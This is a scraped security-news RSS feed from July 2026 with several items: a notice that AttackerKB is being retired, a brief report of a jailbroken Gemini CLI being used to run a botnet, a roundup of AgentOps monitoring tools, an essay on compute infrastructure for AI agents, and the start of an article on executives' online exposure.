users should know</span></h2><p><span>The current public AttackerKB API will be retired alongside the public platform and community features.</span></p><p><span>Going forward, access to this vulnerability intelligence through APIs will be restructured as a dedicated capability for Rapid7 customers. If your organization currently depends on the public AttackerKB API, Rapid7 will share customer-specific guidance on available options, timing, and transition details.</span></p><h2><span>Next steps for AttackerKB users</span></h2><p><span>If you currently use AttackerKB, here are the quick-hits for August 18 and onwards:</span></p><ul><li><p><span>Visit the Rapid7 blog for new technical write-ups and </span><a href="https://www.rapid7.com/blog/tag/rapid7-analysis" target="_self"><span>vulnerability analysis</span></a><span>.</span></p></li><li><p><span>Look for a dedicated “Technical Analysis” (linked above) tag to help make AttackerKB-style content and legacy write-ups easier to find.</span></p></li><li><p><span>The AttackerKB domain will automatically redirect to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Use the Vulnerability and Exploit Database as your central source for vulnerability intelligence moving forward.</span></p></li></ul><p><span>AttackerKB has played an important role in helping security teams understand risk and prioritize action. We’re grateful to everyone who contributed, shared knowledge, and helped shape the platform over the years, and we’re excited to deliver the same trusted intelligence through a more unified experience.</span></p>]]></content:encoded>
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<title><![CDATA[Russian cybercriminal used jailbroken Gemini CLI to rebuild botnet infrastructure in six minutes]]></title>
<description><![CDATA[A Russian-speaking threat actor known as “bandcampro” used a jailbroken Gemini CLI, Google’s open-source terminal-based AI agent, to deploy and operate a small command-and-control (C2) botnet, according to TrendAI. Operational overview (Source: TrendAI) In more than 200 sessions between March 19 ...]]></description>
<link>https://tsecurity.de/de/3673407/it-security-nachrichten/russian-cybercriminal-used-jailbroken-gemini-cli-to-rebuild-botnet-infrastructure-in-six-minutes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673407/it-security-nachrichten/russian-cybercriminal-used-jailbroken-gemini-cli-to-rebuild-botnet-infrastructure-in-six-minutes/</guid>
<pubDate>Thu, 16 Jul 2026 14:24:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Russian-speaking threat actor known as “bandcampro” used a jailbroken Gemini CLI, Google’s open-source terminal-based AI agent, to deploy and operate a small command-and-control (C2) botnet, according to TrendAI. Operational overview (Source: TrendAI) In more than 200 sessions between March 19 and April 21, 2026, the threat actor worked with Gemini to deploy and operate infrastructure that controlled eight computers inside a dental clinic and gain access to the clinic’s OpenDental database. Posing as an … <a href="https://www.helpnetsecurity.com/2026/07/16/jailbroken-google-gemini-cli-botnet/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/jailbroken-google-gemini-cli-botnet/">Russian cybercriminal used jailbroken Gemini CLI to rebuild botnet infrastructure in six minutes</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[19 AgentOps tools for monitoring AI activity, issues, and costs]]></title>
<description><![CDATA[With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the ...]]></description>
<link>https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “<a href="https://www.cio.com/article/196239/what-is-aiops-injecting-intelligence-into-it-operations.html">AIOps</a>,” “AgentOps,” and sometimes “agent observability.”</p>



<p class="wp-block-paragraph">Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.</p>



<p class="wp-block-paragraph">Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.</p>



<p class="wp-block-paragraph">But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.</p>



<p class="wp-block-paragraph">Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.</p>



<p class="wp-block-paragraph">Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?<br><br>The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.</p>



<h2 class="wp-block-heading">AgentOps.ai</h2>



<p class="wp-block-paragraph">When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from <a href="http://agentops.ai/">AgentOps.ai records</a> events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.agentops.ai/#pricing">Starts at $40 per month </a>plus usage costs at $0.20 per 1M tokens</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Replay analytics with “time-travel debugging”</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Complex agent debugging</p>



<h2 class="wp-block-heading">Arize Phoenix</h2>



<p class="wp-block-paragraph">Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. <a href="https://arize.com/phoenix/">Phoenix</a> from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://arize.com/pricing/">Pro plan</a> starts at $50 per month plus costs tied to events</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> LLM-as-a-Judge metrics for tracking quality</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Teams focusing on iterating for accuracy and quality</p>



<h2 class="wp-block-heading">BigPanda</h2>



<p class="wp-block-paragraph"><a href="https://www.bigpanda.io/">BigPanda</a> has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> “Value-based” table on <a href="https://www.bigpanda.io/pricing/">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Automated triage for faster response</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Large teams seeking to reduce alert fatigue from large customer base</p>



<h2 class="wp-block-heading">Braintrust</h2>



<p class="wp-block-paragraph">Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. <a href="https://www.braintrust.dev/">Braintrust</a> watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free starter tier; <a href="https://www.braintrust.dev/pricing">Pro plan</a> starts at $249 with some usage-based costs covered</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Highly scalable trace ingestion</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams developing strong guardrails through continuous testing</p>



<h2 class="wp-block-heading">Chronicle Labs</h2>



<p class="wp-block-paragraph">When it’s time to release a new version of an agent into the wild, the <a href="https://chronicle-labs.com/">platform from Chronicle Labs </a>specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> On <a href="https://chronicle-labs.com/book-call">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Back-testing options for complex testing regimes</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams chasing strong models with good fidelity to reality</p>



<h2 class="wp-block-heading">Comet Opik</h2>



<p class="wp-block-paragraph">Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. <a href="https://www.comet.com/site/products/opik/">Opik from Comet </a>is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tiers for open source and small projects; <a href="https://www.comet.com/site/pricing/">Pro plan</a> starts at $19 per month with usage limits</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Auto-scoring with 30-plus metrics for evaluating traces</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams focusing on RAG and agentic workflows</p>



<h2 class="wp-block-heading">Datadog</h2>



<p class="wp-block-paragraph">DevOps teams that rely on <a href="https://www.datadoghq.com/">Datadog</a> to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier with <a href="https://www.datadoghq.com/pricing/">multiple paid tiers</a> for various levels of enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Large installed base with broad focus on more than LLMs</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large enterprise teams working with established infrastructure</p>



<h2 class="wp-block-heading">Dynatrace</h2>



<p class="wp-block-paragraph">For more than 20 years, <a href="https://www.dynatrace.com/">Dynatrace</a> has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.dynatrace.com/pricing/">Plans</a> start at $7 per month with larger plans designed for full enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> High level of autonomous monitoring designed for large installations</p>



<p class="wp-block-paragraph"><em>Best for: </em>Complex, hybrid environments mixing LLMs with traditional services</p>



<h2 class="wp-block-heading">Galileo</h2>



<p class="wp-block-paragraph">Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. <a href="https://galileo.ai/">Galileo</a> offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; Pro plans start at $50 per month with usage-based limits and costs</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Real-time guardrails for deployed agents</p>



<p class="wp-block-paragraph"><em>Best for:</em> Security-conscious installations that need to defend against hallucination and data leakage</p>



<h2 class="wp-block-heading">Grafana Labs</h2>



<p class="wp-block-paragraph">Long the go-to source for<a href="https://grafana.com/oss/"> open source </a>telemetry, <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating">Grafana Labs</a> now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Basic free tier; <a href="https://grafana.com/pricing/">Pro plan</a> begins at $19 per month, includes better retention and some usage-based fees </p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack tool with fully integrated LLM tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large, enterprise-scale system adding AI</p>



<h2 class="wp-block-heading">Helicone</h2>



<p class="wp-block-paragraph">Sometimes shoehorning in another tool into the chain can be tricky. <a href="https://www.helicone.ai/">Helicone</a> is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://www.helicone.ai/pricing">Pro plan</a> starts at $79 per month, includes features such as team collaboration and improved querying</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Proxy-based integration</p>



<p class="wp-block-paragraph"><em>Best for:</em> Development teams who want to add better monitoring features quickly</p>



<h2 class="wp-block-heading">Laminar</h2>



<p class="wp-block-paragraph">Tracking agents in development and production means building strong storehouses of data enumerating what happened. <a href="https://laminar.sh/">Laminar</a> works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; “Hobby” tier that adds more features at $30; <a href="https://laminar.sh/pricing">Pro level</a> starts at $150 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Open-source license makes self-hosting a viable option</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams fully able to leverage open-source responsibilities</p>



<h2 class="wp-block-heading">LangChain LangSmith</h2>



<p class="wp-block-paragraph">Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from <a href="https://www.langchain.com/">LangChain</a> traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free for solo developers; <a href="https://www.langchain.com/pricing">Pro teams</a> start at $39 per person per month </p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Systematic approach to regression testing of prompts</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior</p>



<h2 class="wp-block-heading">Lunary</h2>



<p class="wp-block-paragraph">Watching the user experience is essential for building AI applications such as chatbots and assistants. <a href="https://lunary.ai/">Lunary</a> offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; <a href="https://lunary.ai/pricing">Pro plan</a> starts at $20 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Deep integration with humans for reviewing and optimizing results</p>



<p class="wp-block-paragraph"><em>Best for:</em> Startups focused on rapid prompt innovation</p>



<h2 class="wp-block-heading">NewRelic</h2>



<p class="wp-block-paragraph">The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. <a href="https://newrelic.com/platform/ai-observability">NewRelic’s</a> AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; Pro plan fees available through website</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack support with hundreds of integrations with other tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Established enterprise teams mixing in AI</p>



<h2 class="wp-block-heading">Nova AI Ops</h2>



<p class="wp-block-paragraph">The goal of <a href="https://novaaiops.com/">Nova AI Ops </a>is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://novaaiops.com/pricing">Standard pricing </a> begins at $40 per user per month with usage billing</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on software reliability engineering helps teams deliver stable stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that want to integrate LLMs into incident response and stability management</p>



<h2 class="wp-block-heading">Splunk</h2>



<p class="wp-block-paragraph">The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. <a href="https://www.splunk.com/en_us/solutions/splunk-artificial-intelligence.html">Splunk</a> now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.splunk.com/en_us/resources/splunk-pricing-options.html">Activity-based pricing</a> tracks usage of LLM backends and storage</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Ready to scale to large enterprise stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams with legacy systems that are folding in agentic options</p>



<h2 class="wp-block-heading">SuperPenguin</h2>



<p class="wp-block-paragraph">One of the most important parts of an AI service is the bill. <a href="https://superpenguin.ai/#features">SuperPenguin</a> is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier for experimentation; Growth tier for teams, starting at $30 per month; <a href="https://superpenguin.ai/#pricing">Pro tier </a>offers deeper options starting at $200 per month</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Strong accounting with invoice reconciliation and PR-level usage tracking</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that need precise cost accounting</p>



<h2 class="wp-block-heading">Vellum</h2>



<p class="wp-block-paragraph">Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. <a href="https://www.vellum.ai/">Vellum</a> started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its <a href="https://github.com/vellum-ai/llm-cost-optimizer">llm-cost-optimizer </a>can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Open-source free tier; Pro plan starts at $35 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on multi-model pipelines for true agentic solutions</p>



<p class="wp-block-paragraph"><em>Best for:</em> Product teams with complex prompt engineering workflows</p>
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<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



